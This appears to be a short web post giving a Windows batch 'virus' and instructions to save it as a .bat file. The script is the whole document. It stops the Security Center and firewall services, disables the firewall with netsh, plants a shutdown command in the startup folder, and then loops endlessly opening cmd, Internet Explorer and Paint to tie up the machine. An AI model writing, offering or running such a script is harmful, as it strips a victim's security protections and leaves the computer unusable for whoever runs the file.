This stops your anti-virus AND opens paint, the CMD, and the Internet Explorer over and over
@echo off
net stop ?Security Center?
net stop SharedAccess
netsh firewall set opmode mode=disable
echo shutdown -s >> "%systemdrive%\documents and settings\start menu\programs\startup\virus.bat"
:virus
start cmd.exe
start iexplore.exe
start mspaint.exe
goto :virus
Go to File, Save As, and save it as "whatever".bat